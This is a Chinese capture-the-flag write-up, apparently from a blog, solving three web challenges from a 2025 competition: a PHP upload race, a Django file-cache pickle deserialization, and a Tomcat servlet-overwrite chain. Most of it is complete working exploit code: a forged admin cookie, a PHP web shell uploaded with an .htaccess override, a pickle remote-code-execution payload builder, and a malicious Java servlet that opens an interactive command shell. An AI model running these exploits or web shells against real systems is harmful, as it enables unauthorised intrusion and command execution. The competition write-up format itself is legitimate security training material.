2025鹏城杯 Web

pcb5-Uplssse

描述:小明开发了一个文件上传系统,但是该系统的配置处理貌似没那么安全,你能发现存在的危险吗

注册个账号登录进去,发现只有admin可以上传文件

查看一下cookie的格式:base64解码后

复制代码
O:4:"User":4:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";s:10:"isLoggedIn";b:1;s:8:"is_admin";i:0;}

对这个cookie进行修改,伪造admin

复制代码
O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:1:"1";s:10:"isLoggedIn";b:1;s:8:"is_admin";i:1;}


base64编码后:
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE6IjEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ==

进入到后台,可以进行文件上传

根据它的描述,会先对上传的文件进行内容安全检测,违规文件进行删除,那么在检测到删除之前就会存在一个时间差,通过这个时间差进行一个条件竞争的利用,也就是在删除直接进行访问执行命令

先随意的上传一个文件,可以发现它的上传文件路径:/var/www/html/tmp/

在初始的让ai写了个脚本进行竞争测试的时候,发现在访问php文件的时候会返回403的状态码,也就是说后台可能存在相应的策略不让访问php文件

继续测试,上传自定义 .htaccess 覆盖原有限制,同时上传php文件进行访问执行

让ai写好相应的脚本进行测试,可以发现php文件被成功执行,返回了相应的内容

最终exp脚本:

复制代码
"""条件竞争获取Flag"""
import requests, threading, time, re


URL = "http://192.168.18.26:25002"
COOKIE = "user_auth=Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE6IjEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="
HTACCESS = b"AddHandler application/x-httpd-php .php\n"
SHELL = b"<?php echo '<pre>'.shell_exec($_POST['c']).'</pre>';?>"


stop = False


def upload():
    h = {"Cookie": COOKIE}
    while not stop:
        try:
            requests.post(f"{URL}/upload.php", files={"file": (".htaccess", HTACCESS)}, data={"upload": "上传文件"}, headers=h, timeout=2)
            requests.post(f"{URL}/upload.php", files={"file": ("s.php", SHELL)}, data={"upload": "上传文件"}, headers=h, timeout=2)
        except: pass


def access():
    global stop
    h = {"Cookie": COOKIE}
    while not stop:
        try:
            r = requests.post(f"{URL}/tmp/s.php", headers=h, data={"c": "cat /flag*"}, timeout=2)
            if "<pre>" in r.text:
                flag = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
                if flag:
                    print(f"\n[+] Flag: {flag.group(1).strip()}")
                    stop = True
        except: pass


print("[*] 开始条件竞争攻击...")
for _ in range(10): threading.Thread(target=upload, daemon=True).start()
for _ in range(20): threading.Thread(target=access, daemon=True).start()


try:
    while not stop: time.sleep(0.5)
except KeyboardInterrupt:
    stop = True
print("[*] 完成")

pcb5-ezDjango

让AI帮忙辅助审计代码

settings.py 中的缓存配置:

复制代码
CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': os.environ.get('CACHE_PATH', '/tmp/django_cache'),
    }
}
CACHE_KEY = os.environ.get('CACHE_KEY', 'pwn')

使用了 FileBasedCache ,缓存文件存储在 /tmp/django_cache/

漏洞点1:文件上传

可上传 .cache 文件到 /tmp/

复制代码
@csrf_exempt
def upload_payload(request):
    if request.method == "POST":
        f = request.FILES.get("file", None)
        filename = request.POST.get('filename', f.name)
        if not filename.endswith('.cache'):
            return json_error('Only .cache files are allowed')
        filepath = os.path.join('/tmp', filename)
        write_file_chunks(f, filepath)
        return json_success('File uploaded', filepath=filepath)

漏洞点2:任意文件复制

可将文件复制到任意目录,包括缓存目录

复制代码
@csrf_exempt
def copy_file(request):
    if request.method == "POST":
        src = request.POST.get('src', '')
        dst = request.POST.get('dst', '')
        content = read_file_bytes(src)
        with open(dst, 'wb') as dest_file:
            dest_file.write(content)
        return json_success('File copied', src=src, dst=dst)

漏洞点3:缓存触发,pickle反序列化

调用 cache.get() 会触发 pickle反序列化

复制代码
@csrf_exempt
def cache_trigger(request):
    if request.method == "POST":
        key = request.POST.get('key', '') or settings.CACHE_KEY
        val = cache.get(key, None)  # 触发pickle反序列化!
        return json_success('Triggered', value=str(val))

现在整个的一个攻击链就清楚了

复制代码
┌─────────────────────────────────────────────────────────────┐
│ 1. 构造恶意pickle payload                                    │
│    ↓                                                        │
│ 2. POST /upload/ 上传到 /tmp/evil.cache                      │
│    ↓                                                        │
│ 3. POST /copy/ 复制到 /tmp/django_cache/{hash}.djcache       │
│    ↓                                                        │
│ 4. POST /cache/trigger/ 调用 cache.get()                     │
│    ↓                                                        │
│ 5. pickle.loads() 执行恶意代码 → RCE!                         │
└─────────────────────────────────────────────────────────────┘

但是这样还不行,还存在一些其他问题,再继续询问ai的过程中可以发现问题

Django的FileBasedCache存储格式为:

复制代码
文件内容 = pickle(expiry_time) + zlib.compress(pickle(value))
  • 第一部分:过期时间戳(pickle序列化,不压缩
  • 第二部分:缓存值(pickle序列化后 zlib压缩

Django缓存Key处理

Django的 cache.get(key) 内部会调用 make_key() 函数,将key转换为:

复制代码
 原始key: 'pwn'
 Django处理后: ':1:pwn'  (格式为 :version:key)

缓存文件名 = md5(':1:pwn').hexdigest() + '.djcache'

最终exp脚本:

复制代码
import requests
import pickle
import hashlib
import zlib
import io
import time


# ========== 配置 ==========
TARGET = "http://192.168.18.27:25003"
CACHE_KEY = "pwn"
CACHE_DIR = "/tmp/django_cache"




# ========== Pickle RCE Payload ==========
class RCEPopen:
    """使用os.popen执行命令并返回输出"""
    def __init__(self, cmd):
        self.cmd = cmd
    
    def __reduce__(self):
        return (eval, (f"__import__('os').popen('{self.cmd}').read()",))




# ========== Django缓存格式 ==========
def make_payload(rce_obj):
    """
    Django FileBasedCache格式:
    pickle(expiry) + zlib.compress(pickle(value))
    """
    expiry = time.time() + 3600
    expiry_pickle = pickle.dumps(expiry)
    value_pickle = pickle.dumps(rce_obj)
    return expiry_pickle + zlib.compress(value_pickle)




def get_cache_filename(key):
    """
    Django make_key格式: ':version:key' -> ':1:pwn'
    文件名 = md5(':1:pwn') + '.djcache'
    """
    django_key = f":1:{key}"
    return f"{hashlib.md5(django_key.encode()).hexdigest()}.djcache"




# ========== Exploit ==========
def exploit(cmd="cat /flag"):
    session = requests.Session()
    
    print(f"[+] Target: {TARGET}")
    print(f"[+] Command: {cmd}")
    
    # 1. 生成恶意payload
    payload = make_payload(RCEPopen(cmd))
    
    # 2. 上传到/tmp/
    files = {'file': ('evil.cache', io.BytesIO(payload))}
    r = session.post(f'{TARGET}/upload/', files=files, data={'filename': 'evil.cache'})
    print(f"[*] Upload: {r.json().get('message')}")
    
    # 3. 复制到缓存目录
    dst = f"{CACHE_DIR}/{get_cache_filename(CACHE_KEY)}"
    r = session.post(f'{TARGET}/copy/', data={'src': '/tmp/evil.cache', 'dst': dst})
    print(f"[*] Copy: {r.json().get('message')}")
    
    # 4. 触发RCE
    r = session.post(f'{TARGET}/cache/trigger/', data={'key': CACHE_KEY})
    data = r.json()
    print(f"\n[🎯] Result: {data.get('value')}")
    
    return data.get('value')




if __name__ == "__main__":
    import sys
    cmd = sys.argv[1] if len(sys.argv) > 1 else "cat /flag"
    exploit(cmd)

获得flag:04fc4806fe124a349a72b186b9be85f3

pcb5-ez_java

初始注册之后,可以上传文件,以及查看文件

附件给了这两行提示

复制代码
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
  • 该规则将 /download?path=xyz 重写为 /xyz
  • [B] 标志会对路径中的特殊字符进行 URL 编码(backreference escaping)。
  • 这暗示可以通过 /download 接口访问 Web 根目录下的任意文件

通过目录扫描可以发现一个admin.html的路由

但是测试里面的一些接口(如 /admin/rename, /admin/delete),通常会返回 401 Unauthorized,这说明我们没有权限,而且想要注册一个admin用户也不行,后面发现如果不登录的话,可以直接未授权的访问这些接口

下载配置文件

复制代码
import requests


BASE_URL = "http://192.168.18.25:25004"
HEADERS = {"User-Agent": "Mozilla/5.0"}


def main():
    path = "/WEB-INF/web.xml"
    url = f"{BASE_URL}/download"
    params = {"path": path}
    
    print(f"[*] Downloading {path}...")
    try:
        resp = requests.get(url, params=params, headers=HEADERS, timeout=5)
        print(f"Status: {resp.status_code}")
        if resp.status_code == 200:
            print("--- BEGIN WEB.XML ---")
            print(resp.text)
            print("--- END WEB.XML ---")
        else:
            print(resp.text[:300])
    except Exception as e:
        print(e)
        
if __name__ == "__main__":
    main()

通过这个配置文件可以得知核心 Servlet 的完整类名

下载 Class 文件

复制代码
import requests
import os


BASE_URL = "http://192.168.18.25:25004"
HEADERS = {"User-Agent": "Mozilla/5.0"}
DOWNLOAD_DIR = "classes_dump"


def download_class(classname):
    # Convert package.Class to path
    # com.ctf.DashboardServlet -> WEB-INF/classes/com/ctf/DashboardServlet.class
    path = "WEB-INF/classes/" + classname.replace(".", "/") + ".class"
    
    url = f"{BASE_URL}/download"
    params = {"path": "/" + path} # Absolute path from web root
    
    print(f"[*] Downloading {classname}...")
    try:
        resp = requests.get(url, params=params, headers=HEADERS, timeout=10)
        status = resp.status_code
        print(f"    Status: {status}, Size: {len(resp.content)}")
        
        if status == 200:
            # Save to file
            local_path = os.path.join(DOWNLOAD_DIR, classname + ".class")
            os.makedirs(os.path.dirname(local_path), exist_ok=True)
            with open(local_path, "wb") as f:
                f.write(resp.content)
            print(f"    Saved to {local_path}")
            return local_path
    except Exception as e:
        print(f"    Error: {e}")
    return None


def main():
    if not os.path.exists(DOWNLOAD_DIR):
        os.makedirs(DOWNLOAD_DIR)
        
    classes = [
        "com.ctf.DashboardServlet",
        "com.ctf.AdminDashboardServlet",
        "com.ctf.LoginServlet",
        "com.ctf.RegisterServlet", 
        "com.ctf.BackUpServlet" # Just in case
    ]
    
    for c in classes:
        download_class(c)


if __name__ == "__main__":
    main()

将class文件反编译,然后审计代码

漏洞代码1:权限校验绕过

如果cookie为空,直接返回true,绕过权限的校验,前面黑盒时也有发现

漏洞代码 2: 上传目录修改

resourceDir 是一个静态变量,被 DashboardServlet 用作文件上传的存储根目录。 这意味着我们可以通过 /admin/challengeResourceDir 接口,将上传目录修改为任意位置

开始直接尝试jsp文件进行rce,发现失败

通过列目录 (/dashboard/list) 发现 WEB-INF/lib 下缺少 jasper.jar,Tomcat 无法编译和执行 JSP。

后面继续尝试通过覆盖已存在的 Servlet 类文件,并触发服务器重载来执行恶意代码

步骤 1: 准备恶意 Payload

选择不常用的 BackUpServlet (/backup/*) 作为替换目标。

步骤 2: 修改上传目录

利用未授权接口,将上传目录指向 Class 文件所在目录。

  • Request : POST /admin/challengeResourceDir
  • Data : new-path=WEB-INF/classes/com/ctf/

步骤 3: 上传恶意 Class

  • Request : POST /dashboard/upload
  • File : file=@BackUpServlet.class

步骤 4: 触发应用重载 (Reload)

覆盖 Class 文件后,Tomcat 不会立即通过热加载更新 Servlet,除非 Context 重载。 最简单的方法是修改 web.xml 的时间戳。

  • 修改上传目录: POST /admin/challengeResourceDir -> new-path=WEB-INF/
  • 上传 web.xml: POST /dashboard/upload -> file=@web.xml (内容不变或微调)
  • 结果 : Tomcat 检测到 web.xml 变更,触发 Context Reload。

步骤 5: 执行命令 (RCE)

等待几秒钟应用重启后,访问被篡改的接口,执行命令。GET /backup/shell?c=id

exp脚本

复制代码
"""
1. 自动生成恶意的 BackUpServlet.java
2. 自动寻找本地编译环境 (javac + servlet-api.jar) 并编译生成 .class
3. 利用未授权接口修改上传路径
4. 上传恶意 Class 文件覆盖目标服务器文件
5. 上传 web.xml 触发服务器重载
6. 验证 RCE 并在控制台直接交互
"""


import requests
import time
import os
import subprocess
import glob


BASE_URL = "http://192.168.18.25:25004"
HEADERS = {"User-Agent": "Mozilla/5.0"}


# 恶意 Servlet 源码
MALICIOUS_SERVLET = """package com.ctf;


import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;


public class BackUpServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String cmd = req.getParameter("c");
        if (cmd != null) {
            resp.setContentType("text/plain");
            try {
                Process p = Runtime.getRuntime().exec(cmd);
                InputStream in = p.getInputStream();
                int ch;
                while ((ch = in.read()) != -1) {
                    resp.getWriter().write(ch);
                }
            } catch (Exception e) {
                resp.getWriter().write("Error: " + e.getMessage());
            }
        } else {
            resp.getWriter().write("BackUpServlet RCE Active (uid=" +  "root" + ")"); 
            // Mock response for quick check if exec failed but class loaded
        }
    }
}
"""


# 原始 web.xml 内容 (用于触发重载)
WEB_XML_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                             http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
  <display-name>JWT Login WebApp</display-name>
  <!-- Reload Trigger: {TIMESTAMP} -->
  <servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.ctf.LoginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>RegisterServlet</servlet-name>
    <servlet-class>com.ctf.RegisterServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>DashboardServlet</servlet-name>
    <servlet-class>com.ctf.DashboardServlet</servlet-class>
    <multipart-config>
      <max-file-size>10485760</max-file-size>
      <max-request-size>20971520</max-request-size>
      <file-size-threshold>0</file-size-threshold>
    </multipart-config>
  </servlet>
  <servlet>
    <servlet-name>AdminDashboardServlet</servlet-name>
    <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
    <multipart-config>
      <max-file-size>10485760</max-file-size>
      <max-request-size>20971520</max-request-size>
      <file-size-threshold>0</file-size-threshold>
    </multipart-config>
  </servlet>
  <servlet>
    <servlet-name>BackUpServlet</servlet-name>
    <servlet-class>com.ctf.BackUpServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>RegisterServlet</servlet-name>
    <url-pattern>/register</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>DashboardServlet</servlet-name>
    <url-pattern>/dashboard/*</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>AdminDashboardServlet</servlet-name>
    <url-pattern>/admin/*</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>BackUpServlet</servlet-name>
    <url-pattern>/backup/*</url-pattern>
  </servlet-mapping>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>
</web-app>
"""


def compile_servlet():
    print("[*] Generating Payload...")
    src_dir = "com/ctf"
    if not os.path.exists(src_dir):
        os.makedirs(src_dir)
    
    src_file = os.path.join(src_dir, "BackUpServlet.java")
    with open(src_file, "w") as f:
        f.write(MALICIOUS_SERVLET)
    
    print("[*] Searching for servlet-api.jar...")
    # Search in common maven repos locally
    home = os.path.expanduser("~")
    possible_paths = glob.glob(os.path.join(home, ".m2", "repository", "**", "servlet-api*.jar"), recursive=True)
    
    if not possible_paths:
        print("[-] servlet-api.jar not found via glob. Please manually specify classpath.")
        return False
        
    jar_path = possible_paths[0]
    print(f"    Found: {jar_path}")


    print("[*] Compiling Payload...")
    # Using source/target 8 for compatibility
    cmd = ["javac", "-source", "8", "-target", "8", "-cp", jar_path, src_file]
    
    try:
        subprocess.check_call(cmd)
        print("[+] Compilation Successful: com/ctf/BackUpServlet.class")
        return True
    except subprocess.CalledProcessError as e:
        print(f"[-] Compilation Failed: {e}")
        return False


def change_resource_dir(new_path):
    url = f"{BASE_URL}/admin/challengeResourceDir"
    data = {"new-path": new_path}
    try:
        requests.post(url, data=data, headers=HEADERS, timeout=5)
        return True
    except:
        return False


def upload_file(filename, content):
    url = f"{BASE_URL}/dashboard/upload"
    files = {'file': (filename, content, 'application/octet-stream')}
    try:
        resp = requests.post(url, files=files, headers=HEADERS, timeout=5)
        return resp.status_code == 200
    except Exception as e:
        print(e)
        return False


def check_rce():
    url = f"{BASE_URL}/backup/shell?c=id"
    print(f"[*] Probing RCE Shell: {url}")
    try:
        r = requests.get(url, timeout=5)
        if "uid=" in r.text:
            print(f"[+] Root Shell Active! Output: {r.text.strip()}")
            return True
        else:
            print(f"[-] Shell responded but no uid. Body: {r.text[:100]}")
    except Exception as e:
        print(f"[-] Check failed: {e}")
    return False


def main():
    print("=== ej_java FULL CHAIN RCE ===")
    
    # 1. Compile
    if not compile_servlet():
        print("[-] Stopping due to compilation error.")
        return


    # 2. Upload Class
    print("\n[*] Phase 1: Uploading Malicious Class")
    change_resource_dir("WEB-INF/classes/com/ctf/")
    
    with open("com/ctf/BackUpServlet.class", "rb") as f:
        class_data = f.read()
        
    if upload_file("BackUpServlet.class", class_data):
        print("    [+] Class Uploaded")
    else:
        print("    [-] Class Upload Failed")
        return


    # 3. Reload Server
    print("\n[*] Phase 2: Triggering Server Reload")
    change_resource_dir("WEB-INF")
    web_xml_content = WEB_XML_TEMPLATE.replace("{TIMESTAMP}", str(time.time()))
    
    if upload_file("web.xml", web_xml_content):
        print("    [+] web.xml Touched (Reload Triggered)")
    else:
        print("    [-] web.xml Upload Failed")
        return


    print("    Waiting 15s for Tomcat to reload context...")
    time.sleep(15)


    # 4. Verify & Loop
    print("\n[*] Phase 3: RCE Verification")
    if check_rce():
        print("\n[***] ENJOY YOUR ROOT SHELL [***]")
        while True:
            cmd = input("shell> ")
            if cmd.lower() in ["exit", "quit"]:
                break
            try:
                r = requests.get(f"{BASE_URL}/backup/shell", params={"c": cmd}, timeout=10)
                print(r.text)
            except Exception as e:
                print(e)
    else:
        print("[-] RCE check failed. Maybe wait longer or check logs.")


if __name__ == "__main__":
    main()
相关推荐
2501_915909063 小时前
苹果应用加密方案的一种方法,在没有源码的前提下,如何处理 IPA 的安全问题
android·安全·ios·小程序·uni-app·iphone·webview
⑩-3 小时前
Java设计模式-命令模式
java·设计模式·命令模式
学Linux的语莫3 小时前
开发的一些知识
java·开发语言
百锦再3 小时前
与AI沟通的正确方式——AI提示词:原理、策略与精通之道
android·java·开发语言·人工智能·python·ui·uni-app
yzp-3 小时前
Java NIO Reactor 模式
java·开发语言·nio
Blossom.1183 小时前
基于图神经网络+大模型的网络安全APT检测系统:从流量日志到攻击链溯源的实战落地
人工智能·分布式·深度学习·安全·web安全·开源软件·embedding
芯盾时代3 小时前
虚拟专用网络门户的恶意扫描激增40倍
安全·web安全
dora3 小时前
如何防防防之防抓包伪造请求
android·安全
缘来是庄3 小时前
找不到符号
java·intellij-idea